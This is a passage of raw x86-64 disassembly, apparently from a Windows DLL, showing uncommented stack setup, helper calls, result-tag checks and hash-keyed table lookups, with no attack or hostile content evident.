xor ebp, ebp
mov r13, qword [rsp + 0x190]
shl rax, 8
movzx ecx, bpl
or rcx, rax
je 0x18004deb8
mov rax, qword [r15]
mov r8d, dword [rax + 0x20]
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
cmp dword [rax + 0x48], r8d
jbe 0x18004deb8
add r8, qword [rax + 0x188]
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0xd0], rax
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], 2
lea r9, [0x180072040]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov r14d, dword [rsp + 0x40]
test r14d, r14d
je 0x18004df03
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
mov r12, qword [rsp + 0xc8]
je 0x18004e09d
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004e0ab
mov r12, qword [rsp + 0xc8]
jmp 0x18004e0be
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5c21
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], esi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x18004d885
cmp qword [rsp + 0x48], 0
mov r12, qword [rsp + 0xc8]
je 0x18004dfaa
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180072080]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x998609a6
mov r8d, 0xe543
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004dfaa
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
mov ecx, 8
mov edx, 8
mov r8, r13
call fcn.18000f2e0
test rax, rax
je 0x18004ff94
mov r9, rdx
xor r14d, r14d
jmp 0x18004e0d8
cmp qword [rsp + 0x48], 0
je 0x18004d8e2
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], 3
lea r9, [0x180071e30]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
mov r8, rsi
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x180050651
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180050c75
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180050c83
mov rax, qword [rsp + 0x188]
mov qword [rax], rdi
mov dword [rax + 8], ebx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5c8c
movapd xmm6, xmmword [rsp + 0x70]
mov ecx, 8
mov edx, 8
mov r8, r13
call fcn.18000f2e0
test rax, rax
je 0x18004e0fa
mov r9, rdx
mov r13, qword [rsp + 0xc0]
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, r15
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004e102
mov r13, qword [rsp + 0xc0]
mov rax, qword [rsp + 0xe8]
dec qword [rax]
test r14d, r14d
mov r15, qword [rsp + 0x98]
je 0x18004e151
mov dword [rsp + 0x180], r14d
mov dword [rsp + 0x184], esi
movupd xmmword [rsp + 0x188], xmm6
mov rcx, qword [r12 + 0x28]
lea rdx, [0x1800745a8]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x18004e1ea
mov rsi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
movd xmm6, ebp
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004e2db
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004e2e6
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x18004e370
cmp dword [rsp + 0x7c], 0x7e3
jne 0x18004e370
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 5
lea r9, [0x1800720b8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x18004f226
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004f737
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004f745
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], edi
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d91a0
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], ebp
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x1800745b0]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x18004e409
mov rsi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm6, edi
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004e4fa
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004e505
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x18004e58f
cmp dword [rsp + 0x7c], 0x13418bf
jne 0x18004e58f
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 0xd
lea r9, [0x1800722b8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov edi, dword [rsp + 0x40]
test edi, edi
je 0x18004f2f9
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004f775
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004f783
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], ebx
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d91e4
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], edi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x1800745b8]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x18004e628
mov rsi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
movd xmm6, ebp
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004e717
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004e722
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
cmp eax, 3
jne 0x18004e7c6
cmp dword [rsp + 0x7c], 0x7a
jne 0x18004e7c6
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 8
lea r9, [0x180072488]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x18004f3a1
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004f7b3
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004f7c1
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], edi
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d9245
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], ebp
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x184], al
movzx eax, word [rsp + 0x41]
mov word [rsp + 0x185], ax
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x187], al
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x1800745c0]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x18004e85f
mov rsi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
movd xmm6, ebp
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004e950
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004e95b
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x18004e9ff
cmp dword [rsp + 0x7c], 0x7e3
jne 0x18004e9ff
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 4
lea r9, [0x1800725b0]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x18004f46b
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004f7f1
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004f7ff
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], edi
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d9273
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], ebp
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x184], al
movzx eax, word [rsp + 0x41]
mov word [rsp + 0x185], ax
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x187], al
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x1800745c8]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov ebp, dword [rsp + 0x180]
test ebp, ebp
je 0x18004ea98
mov rsi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
movd xmm6, ebp
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004eb89
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004eb94
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x18004ec1e
cmp dword [rsp + 0x7c], 0x13418bf
jne 0x18004ec1e
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 3
lea r9, [0x180072658]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x18004f523
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004f82f
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004f83d
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], edi
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d929e
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], ebp
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x1800745d0]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
lea rsi, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov rcx, rsi
mov r8, r15
mov r9, r13
call fcn.180036b60
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x18004ecb7
mov rsi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
movd xmm6, edi
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004eda8
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004edb3
mov rax, qword [rsp + 0x188]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x18004ee3d
cmp dword [rsp + 0x7c], 0x134890d
jne 0x18004ee3d
mov qword [rsp + 0xd0], r13
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 6
lea r9, [0x180072888]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov edi, dword [rsp + 0x40]
test edi, edi
je 0x18004f5f5
mov esi, dword [rsp + 0x44]
mov rbx, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004f86d
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004f87b
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], ebx
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d92e6
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], edi
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x1800745d8]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x138]
mov r8, r15
mov r9, r13
call fcn.180036b60
mov r14d, dword [rsp + 0x180]
test r14d, r14d
je 0x18004eed6
mov rsi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
movd xmm6, r14d
movd xmm0, dword [rsp + 0x184]
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004ef8e
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004ef99
mov rax, qword [rsp + 0x188]
mov rbp, qword [rsp + 0x190]
mov qword [rsp + 0x78], rax
test eax, eax
jne 0x18004f03e
cmp dword [rsp + 0x7c], 0x7e3
jne 0x18004f03e
mov r8, r13
lea r13, [rsp + 0x180]
mov rcx, r13
mov rdx, r15
call fcn.180066e40
mov r14d, dword [rsp + 0x180]
test r14d, r14d
je 0x18004f69d
mov esi, dword [rsp + 0x184]
mov rdi, qword [rsp + 0x188]
mov ebx, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004f8ab
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004f8b6
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], edi
movq qword [rsp + 0x70], xmm6
mov qword [rsp + 0x78], rax
shr rax, 0x20
mov rcx, qword [rsp + 0x74]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x48], eax
mov eax, 0xcd01caf8
add rax, 0x233d9315
mov qword [rsp + 0x4c], rax
mov dword [rsp + 0x180], r14d
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x184], al
movzx eax, word [rsp + 0x41]
mov word [rsp + 0x185], ax
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x187], al
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x194], eax
mov rcx, qword [r12 + 0x28]
lea rdx, [0x1800745e0]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
lea rcx, [rsp + 0x180]
mov rdx, r15
mov r8, r13
call fcn.180066e40
mov edi, dword [rsp + 0x180]
test edi, edi
je 0x18004f0c2
mov ebx, dword [rsp + 0x184]
mov rsi, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x18004f151
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004f15c
mov rax, qword [rsp + 0x188]
mov r15, qword [rsp + 0x190]
mov rcx, qword [rax + 0x20]
test rcx, rcx
je 0x180050e6a
mov rax, qword [rax + 0x18]
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
jmp 0x18004f10c
mov r9, r8
sub r8, r10
jbe 0x180050e6a
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0x9a89af34
setne sil
cmovb esi, edx
cmp sil, 1
je 0x18004f100
movzx r10d, sil
cmp r10d, 0xff
jne 0x18004f1aa
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x18004f10c
jmp 0x180050e6a
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5e77
movdqa xmm0, xmmword [rsp + 0x70]
mov dword [rsp + 0x180], edi
mov dword [rsp + 0x184], ebx
movdqu xmmword [rsp + 0x188], xmm0
mov rcx, qword [r12 + 0x28]
lea rdx, [0x1800745e8]
lea r9, [rsp + 0x180]
mov r8d, 8
call fcn.180057260
jmp 0x180050e6d
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
je 0x180050e6a
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
jmp 0x18004f1dc
mov r10, rdx
sub rdx, r11
jbe 0x180050e6a
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0x4c31fa8c
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x18004f1d0
movzx r11d, sil
cmp r11d, 0xff
jne 0x18004f8ee
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x18004f1dc
jmp 0x180050e6a
cmp qword [rsp + 0x48], 0
je 0x1800507a3
mov r15, qword [rsp + 0x50]
lea r8, [r15 + 8]
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 1
lea r9, [0x180072158]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xd0]
call fcn.180062990
mov ebp, dword [rsp + 0x40]
test ebp, ebp
je 0x18004f953
mov esi, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
mov ebx, dword [rsp + 0x50]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x18004fc75
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x18004fc83
cmp qword [rsp + 0x48], 0
je 0x18004e58f
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180072458]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x2488d7d2
mov r8d, 0xffff1c88
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004e58f
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004e58f
cmp qword [rsp + 0x48], 0
je 0x18004e7c6
mov rsi, qword [rsp + 0x50]
mov byte [rsp + 0xf2], 0
mov word [rsp + 0xf0], 0
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
